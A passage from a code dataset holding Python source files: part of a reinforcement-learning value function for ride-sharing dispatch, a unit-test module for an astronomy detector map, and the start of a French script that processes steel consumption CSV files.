ILP\n # Action_inputs_all_agents = List of all experiences\n # Why is this helpful\n # UPDATE NN BASED ON TD-TARGET\n action_inputs_all_agents, _ = self._format_experiences([experience], is_current=True)\n values = list(action_inputs_all_agents.values())[:-1]\n train_dataset = TensorDataset(torch.tensor(np.hstack([values[0], values[1].squeeze(), np.expand_dims(values[2], axis=1), np.expand_dims(values[3], axis=1), np.expand_dims(values[4], axis=1)])), torch.tensor(supervised_targets))\n train_loader = DataLoader(train_dataset, shuffle=True, batch_size = self.BATCH_SIZE_FIT,\n pin_memory=True, num_workers=3)\n if weights is not None:\n weights = torch.tensor(weights)\n self.model.loss_module.weights = weights\n self.trainer.fit(self.model, train_loader)\n\n # Write to logs\n #loss = trainer.logged_metrics['train_loss'][-1]\n #self.add_to_logs('loss', loss, self._epoch_id)\n\n # Update weights of replay buffer after update\n if isinstance(self.replay_buffer, PrioritizedReplayBuffer):\n # Calculate new squared errors\n values = list(action_inputs_all_agents.values())[:-1]\n test_data = torch.tensor(np.hstack([values[0], values[1].squeeze(), np.expand_dims(values[2], axis=1), np.expand_dims(values[3], axis=1), np.expand_dims(values[4], axis=1)]))\n predicted_values = self.model(test_data)\n loss = np.mean((predicted_values.detach().numpy() - supervised_targets) ** 2 + 1e-6)\n # Update priorities\n self.replay_buffer.update_priorities([batch_idx], [loss])\n\n # Soft update target_model based on the learned model\n self._soft_update_function(self.target_model, self.model)\n\n self._epoch_id += 1\n\n\nclass PathModel(pl.LightningModule):\n\n def __init__(self, num_inputs, num_delay, data_dir):\n super().__init__()\n self.save_hyperparameters()\n self.cap = num_delay\n if (isfile(data_dir + 'embedding_weights.pkl')):\n weights = pickle.load(open(data_dir + 'embedding_weights.pkl', 'rb'))\n if len(weights) == 1:\n weights = weights[0]\n self.embed = nn.Embedding.from_pretrained(torch.tensor(weights), freeze=True)\n else:\n self.embed = nn.Embedding(num_inputs, 100)\n self.lstm = nn.LSTM(100+1, 200, batch_first=True)\n self.linear1 = nn.Linear(1, 100)\n self.act_fn1 = nn.ELU()\n self.linear2 = nn.Linear(200+100+2, 300)\n self.act_fn2 = nn.ELU()\n self.linear3 = nn.Linear(300, 300)\n self.act_fn3 = nn.ELU()\n self.linear4 = nn.Linear(300, 1)\n self.loss_module = WeightedMSELoss()\n\n def forward(self, x):\n path_location = x[:,:self.cap].int()\n delay = x[:,self.cap: 2*self.cap].float()\n current_time = x[:,2*self.cap:2*self.cap+1].float()\n other_agents = x[:,2*self.cap+1:2*self.cap+2].float()\n num_requests = x[:,2*self.cap+2:].float()\n path_location_embed = self.embed(path_location)\n seq_lengths = np.count_nonzero(delay.cpu()!=-1, axis=1)\n path_input = torch.cat([delay.unsqueeze(dim=-1), path_location_embed], dim=-1).flip(dims=[1])\n path_input = torch.cat([torch.cat([path_input[i][-seq_lengths[i]:], path_input[i][:-seq_lengths[i]]]).unsqueeze(dim=0) for i in range(len(path_input))], dim=0)\n perm_idx = np.argsort(seq_lengths)[::-1].copy()\n seq_lengths = seq_lengths[perm_idx]\n path_input = path_input[perm_idx]\n path_input = torch.nn.utils.rnn.pack_padded_sequence(path_input, seq_lengths, batch_first=True)\n path_embed, _ = self.lstm(path_input)\n path_embed, _ = torch.nn.utils.rnn.pad_packed_sequence(path_embed, batch_first=True, total_length=self.cap, padding_value=-1.0)\n path_embed = path_embed[:,-1,:].squeeze()\n current_time = self.linear1(current_time)\n current_time = self.act_fn1(current_time)\n state_embed = torch.hstack([path_embed, current_time, other_agents, num_requests])\n state_embed = self.linear2(state_embed)\n state_embed = self.act_fn2(state_embed)\n state_embed = self.linear3(state_embed)\n state_embed = self.act_fn3(state_embed)\n state_embed = self.linear4(state_embed)\n return state_embed\n\n\n def configure_optimizers(self):\n # Create optimizer\n optimizer = torch.optim.Adam(self.parameters(), lr=0.001,\n betas=(0.9, 0.999), eps=1e-07,\n amsgrad=False)\n return optimizer\n\n def training_step(self, batch, batch_idx):\n data, target = batch\n preds = self.forward(data)\n loss = self.loss_module(preds, target)\n self.log('train_loss', loss, on_step=True, on_epoch=True)\n return loss\n\n def test_step(self, batch, batch_idx):\n data, target = batch\n preds = self.forward(data)\n loss = self.loss_module(preds, target)\n self.log('test_loss', loss, on_step=True, on_epoch=True)\n\n\nclass PathBasedNN(NeuralNetworkBased):\n\n def __init__(self, envt: Environment, load_model_loc: str='', log_dir: str='../logs/'):\n super(PathBasedNN, self).__init__(envt, load_model_loc, log_dir)\n\n def _init_NN(self):\n if Settings.has_value(\"nn_inputs\") and \"profit_z\" in Settings.get_value(\"nn_inputs\"):\n self.agent_profit_input = agent_profit\n if self.load_model_loc:\n model = PathModel.load_from_checkpoint(self.load_model_loc)\n else:\n model = PathModel(self.envt.NUM_LOCATIONS + 1, self.envt.MAX_CAPACITY * 2 + 1, self.envt.DATA_DIR)\n return model\n\n def _format_input(self, agent: LearningAgent, current_time: float, num_requests: float, num_other_agents: float) -> Tuple[np.ndarray, np.ndarray, float, float, float]:\n # Normalising Inputs\n current_time_input = (current_time - self.envt.START_EPOCH) / (self.envt.STOP_EPOCH - self.envt.START_EPOCH)\n num_requests_input = num_requests / self.envt.NUM_AGENTS\n num_other_agents_input = num_other_agents / self.envt.NUM_AGENTS\n if np.mean(self.envt.driver_profits)!=0:\n agent_profit_input = (agent.profit-np.mean(self.envt.driver_profits))/(np.std(self.envt.driver_profits))\n else:\n agent_profit_input = 0\n\n # For some reason, this mode was weird\n if self.load_model_loc == \"../models/PathBasedNN_1000agent_4capacity_300delay_60interval_2_245261.h5\":\n location_order: np.ndarray = np.zeros(shape=(self.envt.MAX_CAPACITY * 5 + 1,), dtype='int32')\n delay_order: np.ndarray = np.zeros(shape=(self.envt.MAX_CAPACITY * 5 + 1, 1)) - 1\n\n else: # Getting path based inputs\n location_order: np.ndarray = np.zeros(shape=(self.envt.MAX_CAPACITY * 2 + 1,), dtype='int32')\n delay_order: np.ndarray = np.zeros(shape=(self.envt.MAX_CAPACITY * 2 + 1, 1)) - 1\n\n # Adding current location\n location_order[0] = agent.position.next_location + 1\n delay_order[0] = 1\n\n for idx, node in enumerate(agent.path.request_order):\n if (idx >= 2 * self.envt.MAX_CAPACITY):\n break\n\n location, deadline = agent.path.get_info(node)\n visit_time = node.expected_visit_time\n\n location_order[idx + 1] = location + 1\n delay_order[idx + 1, 0] = (deadline - visit_time) / Request.MAX_DROPOFF_DELAY # normalising\n\n return location_order, delay_order, current_time_input, num_requests_input, num_other_agents_input, agent_profit_input\n\n def _format_input_batch(self, all_agents_post_actions: List[List[LearningAgent]], current_time: float, num_requests: int) -> Dict[str, Any]:\n input: Dict[str, List[Any]] = {\"path_location_input\": [], \"delay_input\": [], \"current_time_input\": [], \"other_agents_input\": [], \"num_requests_input\": [],\"agent_profit_input\":[],}\n\n # Format all the other inputs\n for agent_post_actions in all_agents_post_actions:\n current_time_input = []\n num_requests_input = []\n path_location_input = []\n delay_input = []\n other_agents_input = []\n agent_profit_input = []\n\n # Get number of surrounding agents\n current_agent = agent_post_actions[0] # Assume first action is _null_ action\n num_other_agents = 0\n for other_agents_post_actions in all_agents_post_actions:\n other_agent = other_agents_post_actions[0]\n if (self.envt.get_travel_time(current_agent.position.next_location, other_agent.position.next_location) < Request.MAX_PICKUP_DELAY or\n self.envt.get_travel_time(other_agent.position.next_location, current_agent.position.next_location) < Request.MAX_PICKUP_DELAY):\n num_other_agents += 1\n\n for agent in agent_post_actions:\n # Get formatted output for the state\n location_order, delay_order, current_time_scaled, num_requests_scaled, num_other_agents_scaled, agent_profit = self._format_input(agent, current_time, num_requests, num_other_agents)\n\n current_time_input.append(num_requests_scaled)\n num_requests_input.append(num_requests)\n path_location_input.append(location_order)\n delay_input.append(delay_order)\n other_agents_input.append(num_other_agents_scaled)\n agent_profit_input.append(agent_profit)\n\n input[\"current_time_input\"].append(current_time_input)\n input[\"num_requests_input\"].append(num_requests_input)\n input[\"delay_input\"].append(delay_input)\n input[\"path_location_input\"].append(path_location_input)\n input[\"other_agents_input\"].append(other_agents_input)\n\n\n if Settings.has_value(\"nn_inputs\") and \"profit_z\" in Settings.get_value(\"nn_inputs\"):\n input[\"agent_profit_input\"].append(agent_profit_input)\n\n return input\n\nclass GreedyValueFunction(ValueFunction):\n def __init__(self,envt,score_function, log_dir=\"../logs/ValueFunctionLogs/\"):\n super(GreedyValueFunction,self).__init__(log_dir)\n self.envt = envt\n self.score_function = score_function\n\n def get_value(self, experiences: List[Experience]) -> List[List[Tuple[Action, float]]]:\n scored_actions_all_agents: List[List[Tuple[Action, float]]] = []\n for experience in experiences:\n for i,feasible_actions in enumerate(experience.feasible_actions_all_agents):\n scored_actions: List[Tuple[Action, float]] = []\n for action in feasible_actions:\n assert action.new_path\n\n # Takes in an environment, action, and a driver number\n score = self.score_function(self.envt,action,experience.agents[i],i)\n scored_actions.append((action, score))\n scored_actions_all_agents.append(scored_actions)\n\n return scored_actions_all_agents\n\n def update(self, *args, **kwargs):\n pass\n\n def remember(self, *args, **kwargs):\n pass\n\ndef driver_0_score(envt,action,agent,driver_num):\n if driver_num == 0:\n score = sum([request.value for request in action.requests])\n else:\n score = 0\n\n return score\n\ndef closest_driver_score(envt,action,agent,driver_num):\n score = sum([request.value for request in action.requests])\n position = agent.position.next_location\n all_positions = [request.pickup for request in action.requests]\n all_positions +=[request.dropoff for request in action.requests]\n\n if len(all_positions) == 0:\n return 0\n\n max_distance = max([envt.get_travel_time(position,j) for j in all_positions])\n\n if max_distance != 0:\n score/=max_distance\n else:\n score = 10000000\n\n return score\n\ndef furthest_driver_score(envt,action,agent,driver_num):\n score = sum([request.value for request in action.requests])\n position = agent.position.next_location\n all_positions = [request.pickup for request in action.requests]\n all_positions += [request.dropoff for request in action.requests]\n\n max_distance = max([envt.get_travel_time(position,j) for j in all_positions],default=0)\n score*=max_distance\n return score\n\ndef two_sided_score(envt,action,agent,driver_num):\n position = agent.position.next_location\n lamb = Settings.get_value(\"lambda\")\n\n time_driven = 0\n for request in action.requests:\n time_driven+=self.envt.get_travel_time(request.pickup,request.dropoff)\n\n times_to_request = sum([envt.get_travel_time(position,request.pickup) for request in action.requests])\n\n previous_driver_utility = envt.driver_utilities[driver_num]\n if time_driven == 0 or times_to_request>300*len(action.requests):\n score = 0\n else:\n driver_inequality = abs(max_driver_utility-(previous_driver_utility+time_driven-times_to_request))\n passenger_inequality = times_to_request\n score = 1000/(lamb*driver_inequality (1-lamb)*passenger_inequality)\n\n return score\n\ndef lambda_entropy_score(envt,action,agent,driver_num):\n profit = Util.change_profit(envt,action)\n entropy = Util.change_entropy(envt,action,driver_num)\n lamb = Settings.get_value(\"lambda\")\n\n if np.isfinite(entropy):\n score = profit - lamb * entropy\n else:\n score = profit\n\n return score\n\ndef lambda_variance_score(envt,action,agent,driver_num):\n profit = Util.change_profit(envt,action)\n variance = Util.change_variance(envt,action,driver_num)\n lamb = Settings.get_value(\"lambda\")\n\n return profit-lamb*variance\n\ndef lambda_entropy_rider_score(envt,action,agent,driver_num):\n profit = Util.change_profit(envt,action)\n entropy = Util.change_entropy_rider(envt,action,driver_num)\n lamb = Settings.get_value(\"lambda\")\n\n if np.isfinite(entropy):\n score = profit-lamb*entropy\n else:\n score = profit\n\n return score\n\ndef lambda_variance_rider_score(envt,action,agent,driver_num):\n profit = Util.change_profit(envt,action)\n variance = Util.change_variance_rider(envt,action,driver_num)\n lamb = Settings.get_value(\"lambda\")\n\n return profit - lamb*variance\n\ndef immideate_reward_score(envt,action,agent,driver_num):\n immediate_reward = sum([request.value for request in action.requests])\n DELAY_COEFFICIENT = 0\n if Settings.has_value(\"delay_coefficient\"):\n DELAY_COEFFICIENT = Settings.get_value(\"delay_coefficient\")\n\n remaining_delay_bonus = DELAY_COEFFICIENT * action.new_path.total_delay\n score = immediate_reward + remaining_delay_bonus\n return score\n\ndef profit_score(envt,action,agent,driver_num):\n profit = Util.change_profit(envt,action)\n return profit\n\ndef num_to_value_function(envt,num):\n model_loc = \"\"\n if Settings.has_value(\"model_loc\"):\n model_loc = Settings.get_value(\"model_loc\")\n # reward is total num of requests\n if num == 1:\n value_function = PathBasedNN(envt,load_model_loc=model_loc)\n elif num == 2:\n value_function = GreedyValueFunction(envt,immideate_reward_score)\n elif num == 3:\n value_function = GreedyValueFunction(envt,driver_0_score)\n elif num == 4:\n value_function = GreedyValueFunction(envt,closest_driver_score)\n elif num == 5:\n value_function = GreedyValueFunction(envt,furthest_driver_score)\n elif num == 6:\n value_function = GreedyValueFunction(envt,two_sided_score)\n elif num == 7:\n value_function = GreedyValueFunction(envt,lambda_entropy_score)\n #reward is profit - lambda * driver entropy for finite entropy, else profit\n elif num == 8:\n value_function = PathBasedNN(envt, load_model_loc=model_loc)\n elif num == 9:\n value_function = GreedyValueFunction(envt,lambda_variance_score)\n #reward is profit - lambda * driver variance\n elif num == 10:\n value_function = PathBasedNN(envt,load_model_loc=model_loc)\n elif num == 11:\n value_function = GreedyValueFunction(envt,lambda_entropy_rider_score)\n #reward is profit - lambda * rider entropy for finite entropy, else profit\n elif num == 12:\n value_function = PathBasedNN(envt,load_model_loc=model_loc)\n elif num == 13:\n value_function = GreedyValueFunction(envt,lambda_variance_rider_score)\n #reward is profit - lambda * rider variance\n elif num == 14:\n value_function = PathBasedNN(envt,load_model_loc=model_loc)\n #reward is total profit\n elif num == 15:\n value_function = PathBasedNN(envt,load_model_loc=model_loc)\n elif num == 16:\n value_function = GreedyValueFunction(envt,profit_score)\n\n return value_function\n","sub_path":"src/ValueFunction.py","file_name":"ValueFunction.py","file_ext":"py","file_size_in_byte":28573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"205738399","text":"import pickle\nfrom itertools import product\n\nimport numpy as np\n\nimport lsst.utils.tests\nimport lsst.afw.image.testUtils\nfrom lsst.afw.detection import GaussianPsf\nfrom lsst.afw.image import ExposureF\nfrom lsst.geom import Point2D, Box2D\nfrom lsst.pex.exceptions import DomainError\n\nfrom pfs.drp.stella.synthetic import SyntheticConfig, makeSyntheticDetectorMap\nfrom pfs.drp.stella import DoubleDetectorMap, DoubleDistortion\nfrom pfs.drp.stella import DetectorMap, ReferenceLineStatus, ImagingSpectralPsf\nfrom pfs.drp.stella.arcLine import ArcLine, ArcLineSet\nfrom pfs.drp.stella.fitDistortedDetectorMap import FitDistortedDetectorMapTask\nfrom pfs.drp.stella.tests.utils import runTests, methodParameters\nfrom pfs.drp.stella.referenceLine import ReferenceLineSource\n\n\ndisplay = None\n\n\nclass DoubleDetectorMapTestCase(lsst.utils.tests.TestCase):\n def setUp(self):\n \"\"\"Construct a ``SplinedDetectorMap`` to play with\"\"\"\n self.synthConfig = SyntheticConfig()\n self.minWl = 650.0\n self.maxWl = 950.0\n self.base = makeSyntheticDetectorMap(self.synthConfig, self.minWl, self.maxWl)\n self.metadata = 123456\n self.darkTime = 12345.6\n\n def makeDoubleDetectorMap(self, likeBase):\n \"\"\"Construct a `DoubleDetectorMap`\n\n Parameters\n ----------\n likeBase : `bool`\n Should the output have similar positions as the ``self.base``\n `SplinedDetectorMap`? This allows the use of ``assertPositions``,\n but the internal values are not random. Use ``True`` if you want to\n check calculations; use ``False`` if you want to check persistence.\n\n Returns\n -------\n detMap : `pfs.drp.stella.DoubleDetectorMap`\n `DistortedDetectorMap` to be used in tests.\n \"\"\"\n base = self.base.clone()\n\n if likeBase:\n distortionOrder = 1\n numCoeffs = DoubleDistortion.getNumDistortionForOrder(distortionOrder)\n xLeft = np.zeros(numCoeffs, dtype=float)\n yLeft = np.zeros(numCoeffs, dtype=float)\n xRight = np.zeros(numCoeffs, dtype=float)\n yRight = np.zeros(numCoeffs, dtype=float)\n\n # Introduce a non-zero distortion field that replicates the base detectorMap\n offset = 0.5\n xLeft[0] = offset\n yLeft[0] = offset\n xRight[0] = offset\n yRight[0] = offset\n slitOffsets = np.full(base.getNumFibers(), -offset, dtype=float)\n base.setSlitOffsets(slitOffsets, slitOffsets)\n else:\n distortionOrder = 3\n numCoeffs = DoubleDistortion.getNumDistortionForOrder(distortionOrder)\n\n # Introduce a random distortion field; will likely get weird values, but good for testing I/O\n rng = np.random.RandomState(12345)\n xLeft = rng.uniform(size=numCoeffs)\n yLeft = rng.uniform(size=numCoeffs)\n xRight = rng.uniform(size=numCoeffs)\n yRight = rng.uniform(size=numCoeffs)\n\n distortion = DoubleDistortion(distortionOrder, Box2D(base.bbox), xLeft, yLeft, xRight, yRight)\n\n visitInfo = lsst.afw.image.VisitInfo(darkTime=self.darkTime)\n metadata = lsst.daf.base.PropertyList()\n metadata.set(\"METADATA\", self.metadata)\n return DoubleDetectorMap(base, distortion, visitInfo, metadata)\n\n def assertPositions(self, detMap):\n \"\"\"Check that the detectorMap reproduces the results of base\"\"\"\n for fiberId in self.base.getFiberId():\n self.assertFloatsAlmostEqual(detMap.getXCenter(fiberId), self.base.getXCenter(fiberId),\n atol=1.0e-3)\n self.assertFloatsAlmostEqual(detMap.getWavelength(fiberId), self.base.getWavelength(fiberId),\n atol=5.0e-4)\n\n # Metadata: we only care that what we planted is there;\n # there may be other stuff that we don't care about.\n self.assertTrue(detMap.getMetadata() is not None)\n self.assertTrue(detMap.metadata is not None)\n self.assertIn(\"METADATA\", detMap.metadata.names())\n self.assertEqual(detMap.metadata.get(\"METADATA\"), self.metadata)\n # VisitInfo: only checking one element, assuming the rest are protected by afw unit tests\n self.assertTrue(detMap.visitInfo is not None)\n self.assertTrue(detMap.getVisitInfo() is not None)\n self.assertEqual(detMap.visitInfo.getDarkTime(), self.darkTime)\n\n def assertDoubleDetectorMapsEqual(self, lhs, rhs):\n \"\"\"Assert that the ``DoubleDetectorMap``s are the same\"\"\"\n self.assertFloatsEqual(lhs.fiberId, rhs.fiberId)\n\n # Base\n self.assertFloatsEqual(lhs.base.fiberId, rhs.base.fiberId)\n for ff in lhs.base.fiberId:\n self.assertFloatsEqual(lhs.base.getXCenterSpline(ff).getX(),\n rhs.base.getXCenterSpline(ff).getX())\n self.assertFloatsEqual(lhs.base.getXCenterSpline(ff).getY(),\n rhs.base.getXCenterSpline(ff).getY())\n self.assertFloatsEqual(lhs.base.getWavelengthSpline(ff).getX(),\n rhs.base.getWavelengthSpline(ff).getX())\n self.assertFloatsEqual(lhs.base.getWavelengthSpline(ff).getY(),\n rhs.base.getWavelengthSpline(ff).getY())\n self.assertEqual(lhs.base.getSpatialOffset(ff), rhs.base.getSpatialOffset(ff))\n self.assertEqual(lhs.base.getSpectralOffset(ff), rhs.base.getSpectralOffset(ff))\n\n # Distortion\n self.assertFloatsEqual(lhs.distortion.getXLeftCoefficients(), rhs.distortion.getXLeftCoefficients())\n self.assertFloatsEqual(lhs.distortion.getYLeftCoefficients(), rhs.distortion.getYLeftCoefficients())\n self.assertFloatsEqual(lhs.distortion.getXRightCoefficients(), rhs.distortion.getXRightCoefficients())\n self.assertFloatsEqual(lhs.distortion.getYRightCoefficients(), rhs.distortion.getYRightCoefficients())\n\n # Metadata\n for name in lhs.metadata.names():\n self.assertEqual(lhs.metadata.get(name), rhs.metadata.get(name))\n\n # VisitInfo: only checking one element, assuming the rest are protected by afw unit tests\n self.assertEqual(lhs.visitInfo.getDarkTime(), rhs.visitInfo.getDarkTime())\n\n def testBasic(self):\n \"\"\"Test basic functionality\"\"\"\n detMap = self.makeDoubleDetectorMap(True)\n self.assertPositions(detMap)\n\n if display is not None:\n from pfs.drp.stella.synthetic import makeSyntheticFlat\n from lsst.afw.display import Display\n disp = Display(frame=1, backend=display)\n disp.mtv(makeSyntheticFlat(self.synthConfig))\n detMap.display(disp)\n\n def testSlitOffsets(self):\n \"\"\"Test different value for one of the slit offsets\"\"\"\n self.synthConfig.slope = 0.0 # Straighten the traces to avoid coupling x,y offsets\n detMap = self.makeDoubleDetectorMap(True)\n middle = len(self.base)//2\n\n spatial = detMap.getSpatialOffsets()\n spectral = detMap.getSpectralOffsets()\n spatial[middle] += 0.54321\n spectral[middle] -= 0.54321\n detMap.setSlitOffsets(spatial, spectral)\n\n spatial = self.base.getSpatialOffsets()\n spectral = self.base.getSpectralOffsets()\n spatial[middle] += 0.54321\n spectral[middle] -= 0.54321\n self.base.setSlitOffsets(spatial, spectral)\n\n self.assertPositions(detMap)\n\n def testFinds(self):\n \"\"\"Test the various ``find*`` methods\n\n We throw down a random array of points on the image, run the\n ``find*`` methods and check that the answers are consistent.\n \"\"\"\n num = 1000\n detMap = self.makeDoubleDetectorMap(True)\n indices = np.arange(0, detMap.bbox.getHeight())\n xCenter = np.array([detMap.getXCenter(ff) for ff in detMap.fiberId])\n numFibers = len(detMap)\n rng = np.random.RandomState(54321)\n for ii, (xx, yy) in enumerate(zip(rng.uniform(0, detMap.bbox.getWidth() - 1, size=num),\n rng.uniform(0, detMap.bbox.getHeight() - 1, size=num))):\n fiberId = detMap.findFiberId(lsst.geom.Point2D(xx, yy))\n\n cols = np.arange(numFibers, dtype=int)\n rows = (yy + 0.5).astype(int)\n distances = [np.abs(xCenter[cc][rows] - xx) for cc in cols]\n closestIndex = np.argmin(distances)\n first, second = np.partition(distances, 1)[0:2] # Two smallest values\n if np.fabs(first - second) < 1.0e-2:\n # We're right on the threshold, and the code could be forgiven for choosing a different\n # index than we did (e.g., spline vs linear interpolation); but that choice has large\n # consequences on the rest of the tests below, so skip this one.\n continue\n self.assertEqual(fiberId, detMap.fiberId[closestIndex])\n\n wavelength = detMap.findWavelength(fiberId, yy)\n wavelengthExpect = np.interp(yy, indices, detMap.getWavelength(fiberId))\n self.assertFloatsAlmostEqual(wavelength, wavelengthExpect, atol=1.0e-3)\n\n point = detMap.findPoint(fiberId, wavelength)\n self.assertFloatsAlmostEqual(point.getY(), yy, atol=1.0e-3)\n\n def testReadWriteFits(self):\n \"\"\"Test reading and writing to/from FITS\"\"\"\n detMap = self.makeDoubleDetectorMap(False)\n with lsst.utils.tests.getTempFilePath(\".fits\") as filename:\n detMap.writeFits(filename)\n copy = DoubleDetectorMap.readFits(filename)\n self.assertDoubleDetectorMapsEqual(detMap, copy)\n # Read with parent class\n with lsst.utils.tests.getTempFilePath(\".fits\") as filename:\n detMap.writeFits(filename)\n copy = DetectorMap.readFits(filename)\n self.assertDoubleDetectorMapsEqual(detMap, copy)\n\n def testPickle(self):\n \"\"\"Test round-trip pickle\"\"\"\n detMap = self.makeDoubleDetectorMap(False)\n copy = pickle.loads(pickle.dumps(detMap))\n self.assertDoubleDetectorMapsEqual(detMap, copy)\n\n def testPersistable(self):\n \"\"\"Test behaviour as a Persistable\n\n This involves sticking it in a Psf, which gets stuck in an Exposure\n \"\"\"\n size = 21\n sigma = 3\n detMap = self.makeDoubleDetectorMap(False)\n imagePsf = GaussianPsf(size, size, sigma)\n psf = ImagingSpectralPsf(imagePsf, detMap)\n exposure = ExposureF(size, size)\n exposure.setPsf(psf)\n with lsst.utils.tests.getTempFilePath(\".fits\") as filename:\n exposure.writeFits(filename)\n copy = ExposureF(filename).getPsf().getDetectorMap()\n copy.metadata.set(\"METADATA\", self.metadata) # Persistence doesn't preserve the metadata\n self.assertDoubleDetectorMapsEqual(detMap, copy)\n\n @methodParameters(arm=(\"r\", \"m\"))\n def testFit(self, arm):\n \"\"\"Test FitDistortedDetectorMapTask\n\n Parameters\n ----------\n arm : `str`\n Spectrograph arm; affects behaviour of\n `FitDistortedDetectorMapTask`.\n \"\"\"\n flux = 1000.0\n fluxErr = 1.0\n bbox = self.base.bbox\n lines = []\n for ff in self.synthConfig.fiberId:\n for yy in range(bbox.getMinY(), bbox.getMaxY()):\n lines.append(ArcLine(ff, self.base.getWavelength(ff, yy), self.base.getXCenter(ff, yy),\n float(yy), 0.01, 0.01, np.nan, np.nan, np.nan, flux, fluxErr, np.nan, False,\n ReferenceLineStatus.GOOD, \"Fake\", None, ReferenceLineSource.NONE))\n lines = ArcLineSet.fromRows(lines)\n config = FitDistortedDetectorMapTask.ConfigClass()\n config.order = 1\n config.doSlitOffsets = True\n config.exclusionRadius = 1.0 # We've got a lot of close lines, but no real fear of confusion\n task = FitDistortedDetectorMapTask(name=\"fitDistortedDetectorMap\", config=config)\n task.log.setLevel(task.log.DEBUG)\n dataId = dict(visit=12345, arm=arm, spectrograph=1)\n detMap = task.run(dataId, bbox, lines, self.base.visitInfo, base=self.base).detectorMap\n self.assertFloatsAlmostEqual(detMap.distortion.getCoefficients(), 0.0, atol=1.0e-6)\n self.assertFloatsAlmostEqual(detMap.getSpatialOffsets(), 0.0, atol=1.0e-6)\n self.assertFloatsAlmostEqual(detMap.getSpectralOffsets(), 0.0, atol=1.0e-6)\n\n def testOutOfRange(self):\n \"\"\"Test that inputs that are out-of-range produce NaNs\"\"\"\n detMap = self.makeDoubleDetectorMap(True)\n\n goodFiberId = (self.synthConfig.fiberId[0], self.synthConfig.fiberId[-1])\n goodWavelength = (self.minWl + 0.1, 0.5*(self.minWl + self.maxWl), self.maxWl - 0.1)\n badFiberId = (-1, 12345)\n badWavelength = (self.minWl - 5, self.maxWl + 5)\n\n for ff, wl in product(goodFiberId, goodWavelength):\n point = detMap.findPoint(ff, wl)\n self.assertTrue(np.all(np.isfinite(point)))\n for ff, wl in product(goodFiberId, badWavelength):\n point = detMap.findPoint(ff, wl)\n self.assertFalse(np.any(np.isfinite(point)))\n for ff, wl in product(badFiberId, goodWavelength):\n point = detMap.findPoint(ff, wl)\n self.assertFalse(np.any(np.isfinite(point)))\n for ff, wl in product(badFiberId, badWavelength):\n point = detMap.findPoint(ff, wl)\n self.assertFalse(np.any(np.isfinite(point)))\n\n def testFindFiberIdOutOfRange(self):\n \"\"\"Test that findFiberId works with out-of-range input\"\"\"\n detMap = self.makeDoubleDetectorMap(True)\n self.assertRaises(DomainError, detMap.findFiberId, Point2D(6000, -20000))\n\n\nclass TestMemory(lsst.utils.tests.MemoryTestCase):\n pass\n\n\ndef setup_module(module):\n lsst.utils.tests.init()\n\n\nif __name__ == \"__main__\":\n runTests(globals())\n","sub_path":"tests/test_DoubleDetectorMap.py","file_name":"test_DoubleDetectorMap.py","file_ext":"py","file_size_in_byte":14052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"394496346","text":"import os\r\nimport numpy as np\r\nimport pandas as pd\r\nimport timeit\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\n\r\nstart = timeit.default_timer()\r\n\r\nos.chdir(\"C:\\\\Users\\\\choua\\\\Documents\\\\études\\\\projet enjeux\\\\HISTORIQUE DE CONSAMMATION\\\\test\") #Go to the file's path\r\n\r\n\r\n#définir les listes convenable à chaque catégorie\r\n\r\nLext_Doux = [2 , 1.90 , 1.80 , 1.70 , 1.65 , 1.60 , 1.55 , 1.50,1.45,1.40,1.35,1.30,1.27,1.24,1.20,1.17,1.14,1.10,1.07,1.03,1.00,0.97,0.94,0.90,0.87,0.84,0.80,0.77,0.74,0.70,0.67,0.64,0.60,0.55,0.50,0.45,0.40,0.35,0.33,0.30,0.28 , 0.25 , 0.23 ]\r\n\r\nLext_const=[2 , 1.80 , 1.75 , 1.65 , 1.50,1.45,1.30,1.20,1.00,0.90]\r\n\r\nLM_Doux=[1.70 , 1.67 , 1.85 , 1.79 , 1.50,1.45,1.40,1.35,1.30,1.27,1.24,1.20,1.17,1.14,1.10,1.07,1.03,1.00,0.97,0.94,0.90,0.87,0.84,0.80,0.77,0.74,0.70,0.67,0.64,0.60,0.55,0.50,0.45,0.40,0.35,0.33,0.30,0.24]\r\n\r\nLM_const=[2 , 1.80 , 1.75 , 1.65 , 1.50,1.45,1.30,1.20,1.00,0.90]\r\n\r\n\r\n#interface \r\ndef interface() :\r\n print(\"choisissez le fichier à traiter : \")\r\n print(\"1. Maghrebsteel_Doux\")\r\n print(\"2. Maghrebsteel_construction\")\r\n print(\"3. Ext_Doux\")\r\n print(\"4. Ext_construction\")\r\n return int(input(\"entrer le fichier à traiter : \"))\r\n\r\ncateg = interface()\r\n\r\nwhile not categ in [1,2,3,4]:\r\n print(\"entrez un choix valide\")\r\n categ = interface() \r\n\r\n\r\n#acccorder votre choix au fichier et liste convenable\r\nif categ == 1 :\r\n fichentr = \"M_Doux_01.csv\"\r\n out = \"out_M_Doux.csv\"\r\n L = LM_Doux\r\nelif categ == 2:\r\n fichentr = \"M_const.csv\"\r\n out = \"out_M_const.csv\"\r\n L = LM_const\r\nelif categ == 3:\r\n fichentr = \"Ext_Doux.csv\"\r\n out = \"out_Ext_Doux.csv\"\r\n L = Lext_Doux\r\nelif categ == 4:\r\n fichentr = \"Ext_const.csv\"\r\n out = \"out_Ext_const.csv\"\r\n L = Lext_const\r\n\r\n\r\nL.sort()\r\n\r\n\r\n\r\ndef average(L): #elle prend une liste et donne la valeur moyenne de tous ces valeurs\r\n m=0\r\n for i in range(len(L)):\r\n m = m + L[i]\r\n m = m/len(L)\r\n return m\r\n\r\ndef Delete_items(L,Del): #prend en paramètre deux liste, 1er des données, 2eme des index à supprimer.\r\n Del.sort()\r\n for i in range(len(Del)) :\r\n L.remove(L[int(Del[i])-1])\r\n return\r\n\r\ndef rappro(x , L = L ) : #en se basant sur une liste L donnée, elle rapproche la valeur x à une valeur dans L\r\n m=0\r\n for i in range(len(L)-1):\r\n if L[i] <= x and x < L[i+1] :\r\n m=i\r\n break\r\n p = abs(L[m] - x)\r\n i = abs(L[m+1] - x)\r\n if p < i :\r\n return L[m]\r\n return L[m+1]\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\nx = pd.read_csv(fichentr) #uploading data\r\nx.columns = [\"A\"] #changing the name of the column because spaces in names are disfunctional\r\nE = [] ; S = [] ; En = [] ; Larg = [] #creating Blank lists\r\nD={} #dictionary to filter data\r\n\r\nfor i in 